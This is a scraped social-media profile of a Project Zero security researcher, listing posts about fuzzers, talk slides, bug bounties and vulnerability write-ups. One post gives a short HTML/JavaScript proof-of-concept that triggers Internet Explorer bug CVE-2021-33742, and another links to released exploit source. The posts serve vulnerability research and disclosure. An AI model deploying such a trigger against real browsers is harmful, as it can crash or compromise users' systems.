Pinned
The slides for my Black Hat talk "XMPP Stanza Smuggling or How I Hacked Zoom" are now available at blackhat.com/us-22/briefing…
Ivan Fratric 💙💛
1,258 posts
Ivan Fratric 💙💛
@ifsecure
Tech lead and security researcher at Google Project Zero. Author: Jackalope, TinyInst, WinAFL, Domato. PhD. Tweets are my own.
Backup @[email protected]
Joined August 2011
- Jackalope, my binary, coverage-guided, customizable, distributed fuzzer for Windows and macOS is now open-source. Happy fuzzing and happy holidays! :-)
- All open source projects from Google Project Zero can now be found in one place, check out
- Apple users getting pwned by an image parsing bug and at the same time Apple not paying bounties for image parsing bugs is, erm, not a great look.
- This weekend, I gave a talk on web browser security research at a student-organized conference. I tried to make the talk reasonably beginner-friendly, so the slides (linked here) could hopefully be useful to someone as a learning resource.
- New Project Zero blog post: Fuzzing Closed-Source JavaScript Engines with Coverage Feedback,
- The slides for my OffensiveCon talk "Finding and Exploiting 20-year-old bugs in Web Browsers"
- So you want to work in security? (my own version): ifsec.blogspot.ch/2018/02/so-you…
- Linux is a modern operating system where getting info on the memory layout of another process involves parsing text files.
- CVE-2021-33742 tweetable PoC: <script> var b = document.createElement("html"); b.innerHTML = Array(40370176).toString(); b.innerHTML = ""; </script>Replying to @maddiestoneWe're also publishing root cause analyses for the four 0-days: Chrome CVE-2021-21166: googleprojectzero.github.io/0days-in-the-w… Chrome CVE-2021-30551: googleprojectzero.github.io/0days-in-the-w… Internet Explorer CVE-2021-33742: googleprojectzero.github.io/0days-in-the-w… Safari CVE-2021-1879: googleprojectzero.github.io/0days-in-the-w…
- Exploit source that accompanies the Project Zero WPAD blog post (googleprojectzero.blogspot.ch/2017/12/apacol…) was just released in bugs.chromium.org/p/project-zero…. Please enjoy responsibly!
